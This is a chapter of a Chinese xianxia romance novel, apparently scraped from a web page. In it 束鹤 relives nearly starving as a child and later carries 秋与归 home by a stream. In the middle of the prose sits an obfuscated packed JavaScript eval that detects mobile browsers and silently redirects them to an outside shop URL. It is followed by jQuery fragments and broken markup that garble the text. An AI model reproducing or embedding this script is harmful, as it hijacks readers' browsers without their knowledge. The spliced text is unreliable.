竹舍里，烛火跳了一下。
束鹤从打坐中睁开眼，胸口有一股说不清道不明的闷。
他站起身，走到门口。
月光从云层后面露出来，将整个雾沼染成一片清冷的银白，灰白色的雾气在脚边翻涌，像一条无声的河。
隐约间，他听到有人在呼唤他。
束鹤走出竹舍，沿着碎石路往溪边走。雾气在他身前分开，又在身后合拢。
溪边没有人，月光照在水面上，碎成一片一片的银白。
他蹲下身，捧起水洗了洗脸，水很凉，激得他眉心一蹙。然后他听见了一个声音，像从水底传来的。
“你别死，束鹤！你千万别死。”
束鹤的手顿住了，水从指缝间漏下去，滴在膝头的衣料上，晕开一小片深色的水渍。
他闭上眼，黑暗涌上来，裹住他，淹没他。
他感觉自己的身体变得很轻，像一片被风吹起的枯叶，往下坠，往下坠。
等他再睁开眼，只见一片灰白色的天，太阳被云层遮住，只漏下几缕惨白的光。
地面裂开一道道口子，风从裂缝里灌进来，带着干燥的、灼热的气息。
他认识这片天空，认识这条路，认识路边那几棵被剥光了皮的歪脖子树。
这是他七岁那年的天，那个快要死掉的自己。
束鹤低下头，看着自己的手，枯瘦的，青筋凸起，指甲缝里嵌着黑色的泥。这是七岁的他，是旱灾下，躺在稻草堆里的等死之人。
他躺在路边，身上盖着几片枯叶，稻草扎着皮肤，又痒又疼。他没有力气去挠了，也没有力气去翻身，只能躺着，看着那片灰白色的天。
当时的他知道自己快要死了，不是今天，就是明天，最多后天。
父亲和母亲已经走了，一场旱灾，夺取了无数人的性命。
但束鹤知道，她会来的。
他将自己往稻草里挪了挪，确保能够不被太阳直晒。
这具身体本就饿了许久，甚至连口水都没有喝到。束鹤没想到过去了这么多年，自己还能再次体会到这种感觉。
他眨了眨眼，视线已然开始模糊，或许睡觉对他来说，才是现下最合适的选择。
他合上双眼，然后突然听见了一个声音。
很远，很轻，像从水底传来的，又像从头顶那片灰白色的天之外传来的。
“束鹤。”
有人在喊他，是他从来没有听过的声音，却一点都不陌生。
像冬天的棉被，像夏天的井水，像他很小很小的时候，娘亲还在时，把他抱在怀里哼的那首歌谣。
“我来看你了。”
他想看看是谁，但太累了，眼睛睁不开，也许只是幻听，就算他睁开，也只能看见那片灰白色的天。
但他又能感觉到有什么东西在他身边，替他挡住了头顶那轮看不见的太阳。
“束鹤束鹤。”那个声音说，“今天太阳很大，晒得地都裂开了。你躺在这里，是不是很热？是不是很渴？”
他想回答，说他很渴，很渴，喉咙像被火烧过一样，每咽一口唾沫都像在吞刀子，但他的嘴唇动不了，喉咙发不出声音。
“你别怕。”那个声音说，“我会一直陪着你。”
她在稻草堆旁边坐下了。他感觉不到她的重量，感觉不到她的体温，但他知道她在。
“你知道吗，你以后会变得很好看。”
束鹤在心里笑了一下，以后？他会有以后吗？她的意思是他能活下去吗？
“你会长得很高，比我高很多。你喜欢穿浅色的衣服，腰上挂一把剑，走路的时候背挺得很直。”
“你会做很多事，你会熬粥，会炒菜，会刻小木猫。你会……”
她的声音哽了一下，他听见了。可明明耳朵里灌满的只有风声，和远处不知什么鸟的哀啼，但他就是听见了，她在哭。
“你要记得来找我。”
他想问，你是谁？你在哪？我为什么要找你？但他的嘴唇只是翕动了一下，漏出一丝微弱的气音。
娘。
他不知道自己为什么喊娘，他想喊的不是娘，是那个声音，是那个温暖的、柔软的、替他挡住太阳的人。
“你娘不在这儿，但我在。我在这儿，束鹤。”
他在心里点了一下头，好，你在就好。
束鹤的意识昏昏沉沉，但似乎在梦里时，她的声音才真切一些。
直到第三天的时候，他在梦里也听不到她说话了。
意识像沙漏里的沙子，一颗一颗地往下掉，每掉一颗，世界就暗一点。
他知道自己快要走了，他很快就会和母亲父亲团聚。
“束鹤！”
她的声音从很远的地方传来，像隔着一层厚厚的棉花。
“你再撑一撑，会有人来救你的，你再撑一撑，好不好？”
他想说好，但他的意识和身体已经不听使唤了。
然后他看见了一盏灯笼，暖橘色的，从土路的尽头亮起来。
有人走过来了，脚步不急不缓，裙摆扫过干裂的地面，没有沾上一粒灰尘。
她在他身边蹲下来，他闻到她身上的气息，是一阵花香，和一点点酒的醇香。
两根手指探上他的颈侧，凉凉的，带着夜风的温度。
“天呐，这都没死。”
一双手把他从稻草堆里抱起来，他太轻了，轻得像一片纸，被她拢在怀里，脑袋歪在她肩窝上。
“再坚持会。”那个声音不算温柔，甚至有些凶，“你死了，我找谁赔我这身衣服。”
她把他裹进外袍里，他的脸贴着她的肩窝，能感觉到她衣料下的体温。
他听见另一个声音，更远一些，像从梦里传来的，“束鹤，记得回来找我……”
束鹤睁开眼，溪水还在脚边流淌。月光从云层后面露出来，照在水面上。
他蹲在溪边，手里还捧着那捧没有泼出去的水，水已经漏完了，只有掌心还残留着一丝凉意。
他低下头，眼前不再是七岁那年的手，而是骨节分明，指腹有薄茧，掌心里有几道还没完全愈合的伤疤。
“束鹤。”
他猛地抬起头。
秋与归站在溪对岸，手里捧着一盏梦灯，灯芯的火焰跳了跳，在她脸上投下一小片暖黄色的光。
“你怎么蹲在这儿？”她问，“大半夜不睡觉，出来赏月吗？”
束鹤张了张嘴，想说什么，喉结滚动了一下，声音哽在嗓子里。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876020|212383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
他站起身，踩进溪水里，水不深，只没过脚踝，凉丝丝的。
他一步一步朝她走过去，水花溅起来，打湿了她的裙角。
“你干嘛？”秋与归后退了一步，“鞋子湿了！”
束鹤没有停，走到她面前，伸出手，把她拉进怀里。他的动作不算温柔，甚至有些笨拙。
秋与归僵住了，整个人像被点了穴，手不知道该放哪，呼吸也忘了。
他的下巴抵在她头顶，手臂收紧，把她箍在怀里。
“束鹤？”她的声音闷闷的，从他胸口传出来。
“让我抱一下。”他的声音有些哑，像是在砂纸上磨过的，“一下就好。”
秋与归没有再动，安静地让他抱着。他的手还在抖，她感觉到了，透过衣料，透过皮肤，一直传到她心里。
她犹豫了一下，然后伸出手，轻轻拍了拍他的后背。
“做噩梦了？”她小声问。
束鹤闭上眼，把她抱得更紧了一些。
“嗯。”他说，“但……不算噩梦。”
她没有追问，只是又拍了拍他的背，像在哄一个受了惊的孩子，“没事了，梦都是假的。”
“你怎么深夜前来？”
秋与归顿了顿，“我刚修行结束，路过。”
他松开她，退后了半步。
月光从云层后面露出来，照在两个人身上，束鹤低头看着她的脚，“你鞋子湿了。”
秋与归脱下鞋子，赤着脚站在溪边的碎石上，裙角湿了一片，贴在脚踝上，勾勒出细细的轮廓。
“还不是你。”秋与归把脚往后缩了缩，“大半夜不睡觉，站溪里发什么呆。”
束鹤蹲下身，捡起她的鞋子，鞋面已经湿透了，还在往下滴水。
他拎着鞋，站起身，看着她。
秋与归被他看得有些不自在，伸手去夺，“给我。”
束鹤把手往身后一藏，“我帮你拿回去。”
“我自己可以拿。”
束鹤没有松手，他转过身，沿着溪边往回走。
秋与归跟在他身后，脚踩在碎石上，硌得生疼。
走了一小段，束鹤忽然停下来，转过身，蹲在她面前，“上来。”
秋与归愣了一下，“……干嘛？”
“背你回去，你赤着脚，走不快的。”
“不用，我可以慢慢走回去。”
束鹤没有动，依旧蹲在那里，月光将他的影子拉得很长，投在她脚边。
秋与归咬了咬嘴唇，趴上去，双手搂住他的脖子。他的肩胛骨隔着衣料硌着她的胸口，硬邦邦的，她不敢用力，只敢轻轻靠着。
束鹤站起身，托着她的膝弯，沿着溪边往回走。
秋与归把脸埋在他肩窝里，能闻到他衣料上被阳光晒过的气息，还有一点点草药苦涩的余味。
“最近的雾气有些奇怪，时浓时淡，你小心点，最好不要随意走动，当心迷失了。”
束鹤想起秋时月那人，知道该来的还是会来，只是不知她现在拿到了几把钥匙。
他突然生出了希望入侵之事快些到来的念头，起码他能在还记得一切的时候，陪着她。
可这是秋与归的家。
“好。”